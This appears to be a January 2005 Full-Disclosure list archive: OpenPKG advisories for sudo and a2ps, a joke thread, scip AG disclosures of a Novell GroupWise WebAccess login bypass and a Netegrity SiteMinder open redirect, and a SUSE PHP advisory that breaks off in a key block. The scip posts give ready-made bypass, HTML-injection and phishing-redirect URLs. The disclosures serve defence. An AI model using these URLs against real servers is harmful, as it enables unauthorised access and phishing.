  the environment passed to the program to be executed. An attacker
  with Sudo access to a shell script that uses GNU Bash may therefore
  run arbitrary commands with other (including superuser) privileges.
  The Common Vulnerabilities and Exposures (CVE) project assigned the
  identifier CAN-2004-1051 [1] to the problem.

  Please check whether you are affected by running "<prefix>/bin/openpkg
  rpm -q sudo". If you have the "sudo" package installed and its version
  is affected (see above), we recommend that you immediately upgrade it
  (see Solution) [2][3].

Workaround:
  Add a line to the sudoers file containing the text 'Defaults
  env_reset'. This causes the environment to only contain the variables
  HOME, LOGNAME, PATH, SHELL, TERM, and USER, thus preventing an attack.

Solution:
  Select the updated source RPM appropriate for your OpenPKG release
  [4][5], fetch it from the OpenPKG FTP service [6][7] or a mirror
  location, verify its integrity [8], build a corresponding binary RPM
  from it [2] and update your OpenPKG installation by applying the
  binary RPM [3]. For the most recent release OpenPKG 2.2, perform the
  following operations to permanently fix the security problem (for
  other releases adjust accordingly).

  $ ftp ftp.openpkg.org
  ftp> bin
  ftp> cd release/2.2/UPD
  ftp> get sudo-1.6.8p1-2.2.2.src.rpm
  ftp> bye
  $ <prefix>/bin/openpkg rpm -v --checksig sudo-1.6.8p1-2.2.2.src.rpm
  $ <prefix>/bin/openpkg rpm --rebuild sudo-1.6.8p1-2.2.2.src.rpm
  $ su -
  # <prefix>/bin/openpkg rpm -Fvh <prefix>/RPM/PKG/sudo-1.6.8p1-2.2.2.*.rpm
________________________________________________________________________

References:
  [0] http://www.sudo.ws/
  [1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1051
  [2] http://www.openpkg.org/tutorial.html#regular-source
  [3] http://www.openpkg.org/tutorial.html#regular-binary
  [4] ftp://ftp.openpkg.org/release/2.2/UPD/sudo-1.6.8p1-2.2.2.src.rpm
  [5] ftp://ftp.openpkg.org/release/2.1/UPD/sudo-1.6.7p5-2.1.2.src.rpm
  [6] ftp://ftp.openpkg.org/release/2.2/UPD/
  [7] ftp://ftp.openpkg.org/release/2.1/UPD/
  [8] http://www.openpkg.org/security.html#signature
________________________________________________________________________

For security reasons, this advisory was digitally signed with the
OpenPGP public key "OpenPKG <openpkg at openpkg.org>" (ID 63C4CB9F) of the
OpenPKG project which you can retrieve from http://pgp.openpkg.org and
hkp://pgp.openpkg.org. Follow the instructions on http://pgp.openpkg.org/
for details on how to verify the integrity of this advisory.
________________________________________________________________________

-----BEGIN PGP SIGNATURE-----
Comment: OpenPKG <openpkg at openpkg.org>

iD8DBQFB66+ugHWT4GPEy58RAmbnAKD11oxrYLF/oKusAvLc7yhY606SDwCgyPFc
NlNjIk/xso2hVQ17fKfCKbA=
=kozt
-----END PGP SIGNATURE-----


From openpkg at openpkg.org  Mon Jan 17 12:37:28 2005
From: openpkg at openpkg.org (OpenPKG)
Date: Mon, 17 Jan 2005 13:37:28 +0100
Subject: [Full-Disclosure] [OpenPKG-SA-2005.003] OpenPKG Security Advisory
	(a2ps)
Message-ID: <OpenPKG-SA-2005.003@openpkg.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

________________________________________________________________________

OpenPKG Security Advisory                            The OpenPKG Project
http://www.openpkg.org/security.html              http://www.openpkg.org
openpkg-security at openpkg.org                         openpkg at openpkg.org
OpenPKG-SA-2005.003                                          17-Jan-2005
________________________________________________________________________

Package:             a2ps
Vulnerability:       arbitrary code execution
OpenPKG Specific:    no

Affected Releases:   Affected Packages:          Corrected Packages:
OpenPKG CURRENT      <= a2ps-4.13b-20040818      >= a2ps-4.13b-20050117
OpenPKG 2.2          <= a2ps-4.13b-2.2.0         >= a2ps-4.13b-2.2.1
OpenPKG 2.1          <= a2ps-4.13b-2.1.0         >= a2ps-4.13b-2.1.1

Dependent Packages:  none

Description:
  Rudolf Polzer discovered [0] a vulnerability in GNU a2ps [1], a
  converter and pretty-printer for many formats to PostScript. The
  program does not escape shell meta characters properly which could
  lead to the execution of arbitrary commands as a privileged user if
  a2ps is installed as a printer filter. a2ps allows remote attackers to
  execute arbitrary commands via shell metacharacters in the filename.
  The Common Vulnerabilities and Exposures (CVE) project assigned the
  identifier CAN-2004-1170 [2] to the problem.

  Please check whether you are affected by running "<prefix>/bin/openpkg
  rpm -q a2ps". If you have the "a2ps" package installed and its version
  is affected (see above), we recommend that you immediately upgrade it
  (see Solution) [3][4].

Solution:
  Select the updated source RPM appropriate for your OpenPKG release
  [5][6], fetch it from the OpenPKG FTP service [7][8] or a mirror
  location, verify its integrity [9], build a corresponding binary RPM
  from it [3] and update your OpenPKG installation by applying the
  binary RPM [4]. For the most recent release OpenPKG 2.2, perform the
  following operations to permanently fix the security problem (for
  other releases adjust accordingly).

  $ ftp ftp.openpkg.org
  ftp> bin
  ftp> cd release/2.2/UPD
  ftp> get a2ps-4.13b-2.2.1.src.rpm
  ftp> bye
  $ <prefix>/bin/openpkg rpm -v --checksig a2ps-4.13b-2.2.1.src.rpm
  $ <prefix>/bin/openpkg rpm --rebuild a2ps-4.13b-2.2.1.src.rpm
  $ su -
  # <prefix>/bin/openpkg rpm -Fvh <prefix>/RPM/PKG/a2ps-4.13b-2.2.1.*.rpm
________________________________________________________________________

References:
  [0] http://archives.neohapsis.com/archives/fulldisclosure/2004-08/1026.html
  [1] http://www.inf.enst.fr/~demaille/a2ps/
  [2] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1170
  [3] http://www.openpkg.org/tutorial.html#regular-source
  [4] http://www.openpkg.org/tutorial.html#regular-binary
  [5] ftp://ftp.openpkg.org/release/2.2/UPD/a2ps-4.13b-2.2.1.src.rpm
  [6] ftp://ftp.openpkg.org/release/2.1/UPD/a2ps-4.13b-2.1.1.src.rpm
  [7] ftp://ftp.openpkg.org/release/2.2/UPD/
  [8] ftp://ftp.openpkg.org/release/2.1/UPD/
  [9] http://www.openpkg.org/security.html#signature
________________________________________________________________________

For security reasons, this advisory was digitally signed with the
OpenPGP public key "OpenPKG <openpkg at openpkg.org>" (ID 63C4CB9F) of the
OpenPKG project which you can retrieve from http://pgp.openpkg.org and
hkp://pgp.openpkg.org. Follow the instructions on http://pgp.openpkg.org/
for details on how to verify the integrity of this advisory.
________________________________________________________________________

-----BEGIN PGP SIGNATURE-----
Comment: OpenPKG <openpkg at openpkg.org>

iD8DBQFB67F5gHWT4GPEy58RAiuUAKCaVwm6qztuFo7Gx7aZP6ZrITKjgQCfdGrL
ZrkstKQlbfIuKDISsjhjYHE=
=+cr1
-----END PGP SIGNATURE-----


From measl at mfn.org  Mon Jan 17 14:16:18 2005
From: measl at mfn.org (J.A. Terranson)
Date: Mon, 17 Jan 2005 08:16:18 -0600 (CST)
Subject: [Full-Disclosure] Illegal mind control is coming to the USA,
	black helicopters
In-Reply-To: <20050117113621.GW39109@DAPCVA.da>
References: <freemail.20050017115254.95285@fm5.freemail.hu>
	<20050117113621.GW39109@DAPCVA.da>
Message-ID: <20050117081509.F3353@ubzr.zsa.bet>



On Mon, 17 Jan 2005, Vincent Archer wrote:

> That's not mind control, that's mind reading. Mind control is when Bush
> will win the next election with 95% of the votes, after Congress suddendly
> decided out of the blue to abrogate that little constitutional amendment
> that's impeding the necessary continuity of leadership during wartime.

The only problem with this as fiction is that you are assuming the Bush is
*George*.  Wanna bet we don't see another Bush (Jeb) inheriting the
American Oil Dynasty?


-- 
Yours,

J.A. Terranson
sysadmin at mfn.org
0xBD4A95BF

 Civilization is in a tailspin - everything is backwards, everything is
upside down- doctors destroy health, psychiatrists destroy minds, lawyers
destroy justice, the major media destroy information, governments destroy
freedom and religions destroy spirituality - yet it is claimed to be
healthy, just, informed, free and spiritual. We live in a social system
whose community, wealth, love and life is derived from alienation,
poverty, self-hate and medical murder - yet we tell ourselves that it is
biologically and ecologically sustainable.

The Bush plan to screen whole US population for mental illness clearly
indicates that mental illness starts at the top.

Rev Dr Michael Ellner


From exibar at thelair.com  Mon Jan 17 14:18:38 2005
From: exibar at thelair.com (Exibar)
Date: Mon, 17 Jan 2005 09:18:38 -0500
Subject: [Full-Disclosure] Illegal mind control is coming to the USA,
	black helicopters
References: <freemail.20050017115254.95285@fm5.freemail.hu>
	<20050117113621.GW39109@DAPCVA.da>
Message-ID: <002301c4fc9f$72312700$1214dd80@corp.emc.com>

you don't want to wear a tin foil hat, as your body will absorb the mind
controlling waves.  What you want is a brass screen encompassing your house,
and a mobile brass screen suit that will cover your entire body to enable
you to go outside every now and again.  Hehehe a Faraday suit!  :-)

  Of course, don't think about listening tothe radio in your house, or using
a cell phone, or off the air TV....  nothing will get into you house.

  Ex


----- Original Message ----- 
From: "Vincent Archer" <var at deny-all.com>
To: "Feher Tamas" <etomcat at freemail.hu>
Cc: <full-disclosure at lists.netsys.com>
Sent: Monday, January 17, 2005 6:36 AM
Subject: Re: [Full-Disclosure] Illegal mind control is coming to the
USA,black helicopters


> On Mon, Jan 17, 2005 at 11:52:54AM +0100, Feher Tamas wrote:
> > http://news.bbc.co.uk/2/hi/uk_news/magazine/4169313.stm
> >
> > ... Some scientists in the US are working on more advanced
> > technology which might be better equipped at detecting
> > deception. Imagine the Pentagon equipped with a machine
> > which can read minds. Sound like the plot of a Hollywood
> > thriller? Well, it might not be that far away ...
>
> That's not mind control, that's mind reading. Mind control is when Bush
> will win the next election with 95% of the votes, after Congress suddendly
> decided out of the blue to abrogate that little constitutional amendment
> that's impeding the necessary continuity of leadership during wartime.
>
> (sorry, couldn't resist)
>
> Bring out the tinfoil hats!!!
>
> -- 
> Vincent ARCHER
> varcher at denyall.com
>
> Tel : +33 (0)1 40 07 47 14
> Fax : +33 (0)1 40 07 47 27
> Deny All - 5, rue Scribe - 75009 Paris - France
> www.denyall.com
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>



From maru at scip.ch  Mon Jan 17 16:42:53 2005
From: maru at scip.ch (Marc Ruef)
Date: Mon, 17 Jan 2005 17:42:53 +0100
Subject: [Full-Disclosure] Novell GroupWise WebAccess error modules loading
Message-ID: <5F9D803B30A8E4418166E637D50E9E2A139F3A@miraculix.scip.ch>

 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dear ladies and gentlemen

We have found a potential security vulnerability in the Novell GroupWise WebAccess error module handling. First of all it is possible to circumvent the login procedure. If a user connects to https://www.scip.com:1444/servlet/webacc (this is just an example with our domain) he is able to authenticate with his user name and password. If a wrong input is made, the webacc application is loading the error page. It is possible to specify another error document with the $QUERY_STRING variant error. If this reference is done for the webacc itself - the url https://www.scip.com:1444/servlet/webacc?error=webacc would be required -, the login is circumvented. You are always logged in with a "ghost user" without a profile. It seems not to be possible to load and store data or to use other services (e.g. address book or sending email). It is also possible to reach specific template files with specification of their names (e.g. https://www.scip.com:1444/servlet/webacc?error=send for sending emails). Reaching other files than with the extension .htt or files outside the webserver root directory seems not possible. An attacker may use this vulnerability to exploit a bug that is only exploitable by authenticated users. More details on how this htt framework should be used can be found at http://developer.novell.com/ndk/doc/gwwbacc/index.html?page=/ndk/doc/gwwbacc/gwwebacc/data/a6l4t54.html - You find the original advisory, written in german, on http://www.scip.ch/cgi-bin/smss/showadvf.pl?id=1020 (Novell GroupWise WebAccess error Authentisierung umgehen).

The second flaw depends on the first one. You are able to specify a (wrong) user name in the login screen. Afterwards you circumvent the authentication as described before. If you are opening the about screen (e.g. https://www.scip.com:1444/servlet/webacc?error=about or by clicking on the WebAccess logo on the top) in the Program Release line you see the version data of the GroupWise installation. The user name that has been specified in your last login procedure is printed on the Userid line. It may be possible to do html injection in this case. For example if the user name "<a href=http://www.scip.ch>www.scip.ch</a>" has been used, this html link will be printed. The injection of scripts seems not to be possible because the required tags <script> and </script> are filtered/replaced. This vulnerability may be useful to gain the version data of the installation and it may be possible to realize a social engineering or html injection attack (e.g. loading a corrupt JPEG file to exploit the Windows buffer overflow). You find the original advisory, written in german, on http://www.scip.ch/cgi-bin/smss/showadvf.pl?id=1021 (Novell GroupWise WebAccess error about erweiterte Rechte).

We have not found any information on that issue. So I sent this information (nearly the same posting) on 14/12/04 to info at novell.com and asked for a solution. As I haven't heard _anything_ until 23/12/04 I sent a reminder email to the same address. So no reply came back we made this vulnerability public finally to force Novell to react on this case. An Attack Tool Kit (ATK) plugin that addresses this vulnerability will be published in the next days[1].

Regards,

Marc Ruef

[1] http://www.computec.ch/projekte/atk/

- -- 
) scip AG (
Technoparkstr. 1
8005 Z?rich
T +41 1 445 18 18 
F +41 1 445 18 19

maru at scip.ch
www.scip.ch

- - Aktuellste IT-Sicherheitsluecken -

-----BEGIN PGP SIGNATURE-----
Version: PGP 8.0
Comment: http://www.scip.ch

iQA/AwUBQevrDBe5hzJzqVMhEQJrtQCg041eH6NVBOQ+GPS5QudSw2ARKAAAni/P
tTao1cSGtOUvnKKsqqH5/0Gs
=A+fy
-----END PGP SIGNATURE-----




From maru at scip.ch  Mon Jan 17 16:42:55 2005
From: maru at scip.ch (Marc Ruef)
Date: Mon, 17 Jan 2005 17:42:55 +0100
Subject: [Full-Disclosure] Netegrity SiteMinder smpwservicescgi.exe target
	specification
Message-ID: <5F9D803B30A8E4418166E637D50E9E2A139F3B@miraculix.scip.ch>

 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dear ladies and gentlemen

We have found a potential security vulnerability in the Netegrity SiteMinder script smpwservicescgi.exe. If a user is connecting to a secured web server over an url like https://www.scip.ch (just an example with our domain) he will get forwarded to the logon url https://www.scip.ch/siteminderagent/pwcgi/smpwservicescgi.exe?TYPE=32564432&REALMOID=02-0005b182-32f3-2121-ab24-8350cdfdaf3b&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=$SM$5rR6TLmkLOjh8Qac1FGeB5OHEA63VfWpQjt0OYda1BBrydPC0NKSWg%3d%3d&TARGET=$SM$https%3a%2f%2fwww%2escip%2ech%2fintern%2ehtml - In this url string several data is prepared to be processed as $QUERY_STRING in a common form http get request. As you can see, the last variant is named TARGET. This specifies the target url after authentication. In the example the url https://www.scip.ch/internal.html

The problem is, that a malicous user may use this to realize a social hacking or phishing attack. He may define a malicous web site as target to forward to another web site with unrelated content (e.g. porn), a cross site scripting or more severe vulnerability (e.g. JPEG exploit). The lack of reputation or launching another attack may be possible. It is also possible to shorten the malicous url to https://www.scip.ch/siteminderagent/pwcgi/smpwservicescgi.exe?TARGET=http%3a%2f%2fwww%2ecomputec%2ech - This is ideal to put it into a phishing mail. You find the original advisory, written in german, on http://www.scip.ch/cgi-bin/smss/showadvf.pl?id=1022 (Netegrity SiteMinder Login TARGET-Weiterleitung Designfehler).

We have not found any information on that issue. So I sent this information (nearly the same posting) on 14/12/04 to info-emea at netegrity.com and asked for a solution. As I haven't heard _anything_ until 23/12/04 I sent a reminder email. Due no reply came back we made this vulnerability public finally to force Netegrity to react on this case. An Attack Tool Kit (ATK) plugin that addresses this vulnerability will be published in the next days[1].

Regards,

Marc Ruef

[1] http://www.computec.ch/projekte/atk/

- -- 
) scip AG (
Technoparkstr. 1
8005 Z?rich
T +41 1 445 18 18 
F +41 1 445 18 19

maru at scip.ch
www.scip.ch

- - Aktuellste IT-Sicherheitsluecken -

-----BEGIN PGP SIGNATURE-----
Version: PGP 8.0
Comment: http://www.scip.ch

iQA/AwUBQevrDhe5hzJzqVMhEQLX8QCeNnfaNUTqAlkNqF49dV/jyTFwuBoAn3UG
KAjYMXWByPzqHfyzGxw7dlHw
=eo/G
-----END PGP SIGNATURE-----




From ludwig.nussel at suse.de  Mon Jan 17 17:19:55 2005
From: ludwig.nussel at suse.de (Ludwig Nussel)
Date: Mon, 17 Jan 2005 18:19:55 +0100
Subject: [Full-Disclosure] SUSE Security Announcement: php4/mod_php4
	(SUSE-SA:2005:002)
Message-ID: <41EBF3BB.mailG84110Q9Q@suse.de>


-----BEGIN PGP SIGNED MESSAGE-----

______________________________________________________________________________

                        SUSE Security Announcement

        Package:                php4, mod_php4
        Announcement-ID:        SUSE-SA:2005:002
        Date:                   Monday, Jan 17th 2005 18:00 MEST
        Affected products:      8.1, 8.2, 9.0, 9.1, 9.2
                                SUSE Linux Enterprise Server 8, 9
        Vulnerability Type:     remote code execution
        Severity (1-10):        7
        SUSE default package:   no
        Cross References:       CAN-2004-1019
                                CAN-2004-1065
                                http://bugs.php.net/bug.php?id=25753

    Content of this advisory:
        1) security vulnerability resolved:
             - buffer overflows in PHP
             - PHP source code disclosure
           problem description
        2) solution/workaround
        3) special instructions and notes
        4) package location and checksums
        5) pending vulnerabilities, solutions, workarounds:
        6) standard appendix (further information)

______________________________________________________________________________

1) problem description, brief discussion

    PHP is a well known, widely-used scripting language often used within web
    server setups.

    Stefan Esser and Marcus Boerger found several buffer overflow problems in
    the unserializer functions of PHP (CAN-2004-1019) and Ilia Alshanetsky
    (CAN-2004-1065) found one in the exif parser. Any of them could allow
    remote attackers to execute arbitrary code as the user running the PHP
    interpreter.

    Additionally a bug where the server would disclose php sourcecode under
    some circumstances has been fixed.

2) solution/workaround

    There is no workaround known besides disabling PHP. Therefore we recommend
    to install the updated packages.

3) special instructions and notes

    If you use php as module within apache you have to restart the server by
    executing the following command as root:

         /usr/sbin/rcapache restart

    or if you use the apache2 server

         /usr/sbin/rcapache2 restart

4) package location and checksums

    Download the update package for your distribution and verify its
    integrity by the methods listed in section 3) of this announcement.
    Then, install the package using the command "rpm -Fhv file.rpm" to apply
    the update.
    Our maintenance customers are being notified individually. The packages
    are being offered for installation from the maintenance web.

    x86 Platform:

    SUSE Linux 9.2:
    ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/php4-4.3.8-8.3.i586.rpm
      e871c76bb7c0ba1fc34268e05ee54e94
    ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/apache2-mod_php4-4.3.8-8.3.i586.rpm
      e9e0e5cbfa8805b6a5866cd91db1e715
    patch rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/php4-4.3.8-8.3.i586.patch.rpm
      7bc595dd946b7287c1b590283526500b
    ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/apache2-mod_php4-4.3.8-8.3.i586.patch.rpm
      e72c58f0d9fbb9d7b0e23251f50b22c5
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/src/php4-4.3.8-8.3.src.rpm
      e80aff98a2d6bdcb56bf6ed7e1731611

    SUSE Linux 9.1:
    ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/php4-4.3.4-43.22.i586.rpm
      01ddb36914f644c65165250b7c7689e8
    ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/apache2-mod_php4-4.3.4-43.22.i586.rpm
      9a3db7a8dcc0e5d6b49911d25e755069
    ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/mod_php4-core-4.3.4-43.22.i586.rpm
      c072a97d0081976292d4d5005019dccd
    patch rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/php4-4.3.4-43.22.i586.patch.rpm
      01853c982ea0c89faecfe3fb568313b6
    ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/apache2-mod_php4-4.3.4-43.22.i586.patch.rpm
      dd64ede42cf3a31a99df2e90ebb597a1
    ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/mod_php4-core-4.3.4-43.22.i586.patch.rpm
      d499fac997192f14e949398df2624a9d
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/src/php4-4.3.4-43.22.src.rpm
      7f23c05761153fec8786c9261e60a49a

    SUSE Linux 9.0:
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/mod_php4-4.3.3-183.i586.rpm
      bbf8be6995d2590af1e2a5d12d101ba6
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/apache2-mod_php4-4.3.3-183.i586.rpm
      d8c08e3e05104d0a291cc1b98111c3a1
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/mod_php4-core-4.3.3-183.i586.rpm
      cb01290bc7c2b968eacea15114033ad4
    patch rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/mod_php4-4.3.3-183.i586.patch.rpm
      d69e6d3885258f06059f0c8cc4b3fc95
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/apache2-mod_php4-4.3.3-183.i586.patch.rpm
      1d8029716edec5d69b9e9f54d2b311df
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/mod_php4-core-4.3.3-183.i586.patch.rpm
      a9d2199cb9d2ddb904a723d0a6107300
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/mod_php4-4.3.3-183.src.rpm
      59f6c6664cad5ded05ce4b22d856d496

    SUSE Linux 8.2:
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/mod_php4-4.3.1-174.i586.rpm
      5a477c5733f83b776f746bc3431d8207
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/apache2-mod_php4-4.3.1-174.i586.rpm
      90eb5f5d40142d7d34a3b46c5ce87ac8
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/mod_php4-core-4.3.1-174.i586.rpm
      f55cf3b586c8a921700e8ecfb8ad5941
    patch rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/mod_php4-4.3.1-174.i586.patch.rpm
      e6c583ddaa03bd85729c46d9ddfc75dd
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/apache2-mod_php4-4.3.1-174.i586.patch.rpm
      3053986191c3dd2354b931ea31fc9208
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/mod_php4-core-4.3.1-174.i586.patch.rpm
      7a8d67f1e02ea516f21df3ad69107b00
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/mod_php4-4.3.1-174.src.rpm
      1d709df9d796d6f723590bc31afe9b18

    SUSE Linux 8.1:
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/mod_php4-4.2.2-485.i586.rpm
      f597d7af4c5c3eb3fa74ead654ac79e3
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/mod_php4-core-4.2.2-485.i586.rpm
      136007f47679877b999eeee170bc0003
    patch rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/mod_php4-4.2.2-485.i586.patch.rpm
      07b674f1ec878bbb6ee68e6da52144d4
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/mod_php4-core-4.2.2-485.i586.patch.rpm
      30c83209b3e7177f9ac34365f51f9c72
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/mod_php4-4.2.2-485.src.rpm
      e6a23b4c8cbba800d002104da80fbc17



    x86-64 Platform:

    SUSE Linux 9.2:
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/x86_64/php4-4.3.8-8.3.x86_64.rpm
      96c10340cd1e9dbd499ceb264ff6862b
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/x86_64/apache2-mod_php4-4.3.8-8.3.x86_64.rpm
      0650c7390f4b341ad496030e6d7c7585
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/src/php4-4.3.8-8.3.src.rpm
      e80aff98a2d6bdcb56bf6ed7e1731611

    SUSE Linux 9.1:
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/php4-4.3.4-43.22.x86_64.rpm
      d7b5bd55bd381bbf674ad9111e336741
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/apache2-mod_php4-4.3.4-43.22.x86_64.rpm
      0b8d4a5de7c53fef7364ef2883269c95
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/mod_php4-core-4.3.4-43.22.x86_64.rpm
      f973f7d09700571dca8221aaffa8a74b
    patch rpm(s):
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/php4-4.3.4-43.22.x86_64.patch.rpm
      cf568e895d1b4e79ba0a87c3ddfa68fe
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/apache2-mod_php4-4.3.4-43.22.x86_64.patch.rpm
      d74c95e6d64ab16ebd8b0bfc1bfda08f
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/mod_php4-core-4.3.4-43.22.x86_64.patch.rpm
      12c7794749389feaec02b707da12c4d4
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/src/php4-4.3.4-43.22.src.rpm
      61ae620d5e5bb9c6ebb53c77fdd2f0ee

    SUSE Linux 9.0:
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/mod_php4-4.3.3-183.x86_64.rpm
      42ddc755c8a14eda9a2e7527e1c6ab83
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/apache2-mod_php4-4.3.3-183.x86_64.rpm
      96cf0ad7d9dd5faed47a81619a3f11e9
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/mod_php4-core-4.3.3-183.x86_64.rpm
      a4af66488b211562da363b342c80fabd
    patch rpm(s):
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/mod_php4-4.3.3-183.x86_64.patch.rpm
      564fc4425ba3d8c995836b61c93082f9
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/apache2-mod_php4-4.3.3-183.x86_64.patch.rpm
      67580deaea8aed5c1f6af1c8fb5f7889
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/mod_php4-core-4.3.3-183.x86_64.patch.rpm
      bfe305060c4ca74d88b8503996a953ae
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/mod_php4-4.3.3-183.src.rpm
      e1f76b408a70416b1e80dd2fb8f6721a

______________________________________________________________________________

5) Pending vulnerabilities in SUSE Distributions and Workarounds:

    Please read our weekly summary report for more information.

______________________________________________________________________________

6) standard appendix: authenticity verification, additional information

  - Package authenticity verification:

    SUSE update packages are available on many mirror ftp servers all over
    the world. While this service is being considered valuable and important
    to the free and open source software community, many users wish to be
    sure about the origin of the package and its content before installing
    the package. There are two verification methods that can be used
    independently from each other to prove the authenticity of a downloaded
    file or rpm package:
    1) md5sums as provided in the (cryptographically signed) announcement.
    2) using the internal gpg signatures of the rpm package.

    1) execute the command
        md5sum <name-of-the-file.rpm>
       after you downloaded the file from a SUSE ftp server or its mirrors.
       Then, compare the resulting md5sum with the one that is listed in the
       announcement. Since the announcement containing the checksums is
       cryptographically signed (usually using the key security at suse.de),
       the checksums show proof of the authenticity of the package.
       We recommend against subscribing to security lists that cause the
       e-mail message containing the announcement to be modified
       so that the signature does not match after transport through the mailing
       list software.
       Downsides: You must be able to verify the authenticity of the
       announcement in the first place. If RPM packages are being rebuilt
       and a new version of a package is published on the ftp server, all
       md5 sums for the files are useless.

    2) rpm package signatures provide an easy way to verify the authenticity
       of an rpm package. Use the command
        rpm -v --checksig <file.rpm>
       to verify the signature of the package, where <file.rpm> is the
       file name of the rpm package that you have downloaded. Of course,
       package authenticity verification can only target an uninstalled rpm
       package file.
       Prerequisites:
        a) gpg is installed
        b) The package is signed using a certain key. The public part of this
           key must be installed by the gpg program in the directory
           ~/.gnupg/ under the user's home directory who performs the
           signature verification (usually root). You can import the key
           that is used by SUSE in rpm packages for SUSE Linux by saving
           this announcement to a file ("announcement.txt") and
           running the command (do "su -" to be root):
            gpg --batch; gpg < announcement.txt | gpg --import
           SUSE Linux distributions version 7.1 and thereafter install the
           key "build at suse.de" upon installation or upgrade, provided that
           the package gpg is installed. The file containing the public key
           is placed at the top-level directory of the first CD (pubring.gpg)
           and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de .


  - SUSE runs two security mailing lists to which any interested party may
    subscribe:

    suse-security at suse.com
        -   general/linux/SUSE security discussion.
            All SUSE security announcements are sent to this list.
            To subscribe, send an email to
                <suse-security-subscribe at suse.com>.

    suse-security-announce at suse.com
        -   SUSE's announce-only mailing list.
            Only SUSE's security announcements are sent to this list.
            To subscribe, send an email to
                <suse-security-announce-subscribe at suse.com>.

    For general information or the frequently asked questions (faq) 
    send mail to:
        <suse-security-info at suse.com> or
        <suse-security-faq at suse.com> respectively.

    =====================================================================
    SUSE's security contact is <security at suse.com> or <security at suse.de>.
    The <security at suse.de> public key is listed below.
    =====================================================================
______________________________________________________________________________

    The information in this advisory may be distributed or reproduced,
    provided that the advisory is not modified in any way. In particular,
    it is desired that the clear-text signature shows proof of the
    authenticity of the text.
    SUSE Linux AG makes no warranties of any kind whatsoever with respect
    to the information contained in this security advisory.

Type Bits/KeyID    Date       User ID
pub  2048R/3D25D3D9 1999-03-06 SuSE Security Team <security at suse.de>
pub  1024D/9C800ACA 2000-10-19 SuSE Package Signing Key <build at suse.de>

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.7 (GNU/Linux)

mQENAzbhLQQAAAEIAKAkXHe0lWRBXLpn38hMHy03F0I4Sszmoc8aaKJrhfhyMlOA
BqvklPLE2f9UrI4Xc860gH79ZREwAgPt0pi6+SleNFLNcNFAuuHMLQOOsaMFatbz
JR9i4m/lf6q929YROu5zB48rBAlcfTm+IBbijaEdnqpwGib45wE/Cfy6FAttBHQh
1Kp+r/jPbf1mYAvljUfHKuvbg8t2EIQz/5yGp+n5trn9pElfQO2cRBq8LFpf1l+U
